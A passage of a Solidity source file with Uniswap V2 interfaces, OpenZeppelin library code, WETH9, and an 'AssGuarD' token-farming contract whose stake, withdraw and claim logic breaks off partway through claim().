) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function migrator() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
function setMigrator(address) external;
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor () internal {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library MathUtils {
using SafeMath for uint256;
/// @notice Calculates the square root of a given value.
function sqrt(uint256 x) internal pure returns (uint256 y) {
uint256 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
/// @notice Rounds a division result.
function roundedDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, 'div by 0');
uint256 halfB = (b.mod(2) == 0) ? (b.div(2)) : (b.div(2).add(1));
return (a.mod(b) >= halfB) ? (a.div(b).add(1)) : (a.div(b));
}
}
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface IERC20Uniswap {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract WETH9 {
string public name = "Wrapped Ether";
string public symbol = "WETH";
uint8 public decimals = 18;
event Approval(address indexed src, address indexed guy, uint wad);
event Transfer(address indexed src, address indexed dst, uint wad);
event Deposit(address indexed dst, uint wad);
event Withdrawal(address indexed src, uint wad);
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
receive() external payable {
deposit();
}
function deposit() public payable {
balanceOf[msg.sender] += msg.value;
Deposit(msg.sender, msg.value);
}
function withdraw(uint wad) public {
require(balanceOf[msg.sender] >= wad);
balanceOf[msg.sender] -= wad;
msg.sender.transfer(wad);
Withdrawal(msg.sender, wad);
}
function totalSupply() public view returns (uint) {
return address(this).balance;
}
function approve(address guy, uint wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
Approval(msg.sender, guy, wad);
return true;
}
function transfer(address dst, uint wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}
function transferFrom(address src, address dst, uint wad)
public
returns (bool)
{
require(balanceOf[src] >= wad);
if (src != msg.sender && allowance[src][msg.sender] != uint(- 1)) {
require(allowance[src][msg.sender] >= wad);
allowance[src][msg.sender] -= wad;
}
balanceOf[src] -= wad;
balanceOf[dst] += wad;
Transfer(src, dst, wad);
return true;
}
}
contract ASS is ERC20 {
address minter;
modifier onlyMinter {
require(msg.sender == minter, 'Only minter can call this function.');
_;
}
constructor(address _minter) public ERC20('AssGuarD', 'ASS') {
minter = _minter;
}
function mint(address account, uint256 amount) external onlyMinter {
_mint(account, amount);
}
function burn(address account, uint256 amount) external onlyMinter {
_burn(account, amount);
}
}
contract AssGuarD is ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
event Staked(address indexed from, uint256 amountETH, uint256 amountLP);
event Withdrawn(address indexed to, uint256 amountETH, uint256 amountLP);
event Claimed(address indexed to, uint256 amount);
event Flooding(uint256 amount);
event Received(address indexed from, uint256 amount);
ASS public token;
IUniswapV2Factory public factory;
IUniswapV2Router02 public router;
address public weth;
address payable public treasury;
address public pairAddress;
struct AccountInfo {
// Staked LP token balance
uint256 balance;
uint256 peakBalance;
uint256 withdrawTimestamp;
uint256 reward;
uint256 rewardPerTokenPaid;
}
mapping(address => AccountInfo) public accountInfos;
// Staked LP token total supply
uint256 private _totalSupply = 0;
uint256 public constant drift = 5 days;
uint256 public rewardAllocation = 1000 * 1e18;
uint256 public floodingTimestamp = 0;
uint256 public lastUpdateTimestamp = 0;
uint256 public rewardRate = 0;
uint256 public rewardPerTokenStored = 0;
// Farming will be started manually by dev
uint256 public farmingStartTimestamp = 0;
bool public farmingStarted = false;
// Max 20% / day LP withdraw
uint256 public constant withdrawLimit = 20;
// Burn address
address constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
constructor(address _routerAddress) public {
token = new ASS(address(this));
router = IUniswapV2Router02(_routerAddress);
factory = IUniswapV2Factory(router.factory());
weth = router.WETH();
treasury = msg.sender;
pairAddress = factory.createPair(address(token), weth);
// Calc reward rate
rewardRate = rewardAllocation.div(drift);
}
receive() external payable {
emit Received(msg.sender, msg.value);
}
function stake() external payable nonReentrant {
_checkFarming();
_updateReward(msg.sender);
_flooding();
require(farmingStartTimestamp + 15 days >= block.timestamp, 'Farming has ended');
require(msg.value > 0, 'Cannot stake 0');
require(!address(msg.sender).isContract(), 'Please use your individual account');
// 10% compensation fee
// since dev doesn't hold any initial supply
uint256 fee = msg.value.div(10);
uint256 amount = msg.value.sub(fee);
treasury.transfer(fee);
uint256 ethAmount = IERC20(weth).balanceOf(pairAddress);
uint256 tokenAmount = IERC20(token).balanceOf(pairAddress);
// If eth amount = 0 then set initial price to 1 ETH = 2 ASS
uint256 amountTokenDesired = ethAmount == 0 ? (amount * 2) : amount.mul(tokenAmount).div(ethAmount);
// Mint borrowed ASS
token.mint(address(this), amountTokenDesired);
// Add liquidity in uniswap
uint256 amountETHDesired = amount;
IERC20(token).approve(address(router), amountTokenDesired);
(,, uint256 liquidity) = router.addLiquidityETH{value : amountETHDesired}(address(token), amountTokenDesired, 1, 1, address(this), block.timestamp + 1 days);
// Add LP token to total supply
_totalSupply = _totalSupply.add(liquidity);
// Add to balance
accountInfos[msg.sender].balance = accountInfos[msg.sender].balance.add(liquidity);
// Set peak balance
if (accountInfos[msg.sender].balance > accountInfos[msg.sender].peakBalance) {
accountInfos[msg.sender].peakBalance = accountInfos[msg.sender].balance;
}
// Set stake timestamp as withdraw timestamp
// to prevent withdraw immediately after first staking
if (accountInfos[msg.sender].withdrawTimestamp == 0) {
accountInfos[msg.sender].withdrawTimestamp = block.timestamp;
}
emit Staked(msg.sender, msg.value, liquidity);
}
function withdraw() external nonReentrant {
_checkFarming();
_updateReward(msg.sender);
_flooding();
require(accountInfos[msg.sender].withdrawTimestamp + 1 days <= block.timestamp, 'You must wait 1 day since your last withdraw or stake');
require(accountInfos[msg.sender].balance > 0, 'Cannot withdraw 0');
// Limit withdraw LP token
uint256 amount = accountInfos[msg.sender].peakBalance.mul(withdrawLimit).div(100);
if (accountInfos[msg.sender].balance < amount) {
amount = accountInfos[msg.sender].balance;
}
// Reduce total supply
_totalSupply = _totalSupply.sub(amount);
// Reduce balance
accountInfos[msg.sender].balance = accountInfos[msg.sender].balance.sub(amount);
// Set timestamp
accountInfos[msg.sender].withdrawTimestamp = block.timestamp;
// Remove liquidity in uniswap
IERC20(pairAddress).approve(address(router), amount);
(uint256 tokenAmount, uint256 ethAmount) = router.removeLiquidity(address(token), weth, amount, 0, 0, address(this), block.timestamp + 1 days);
// Burn borrowed ASS
token.burn(address(this), tokenAmount);
// Withdraw ETH and send to sender
IWETH(weth).withdraw(ethAmount);
msg.sender.transfer(ethAmount);
emit Withdrawn(msg.sender, ethAmount, amount);
}
function claim() external nonReentrant {
_checkFarming();
_updateReward(msg.sender);
_flooding();
uint256 reward = accountInfos[msg.sender].reward;
require(reward > 0, 'There is no reward to claim');
if (reward > 0) {
// Reduce first
accountInfos[msg.sender].reward = 0;
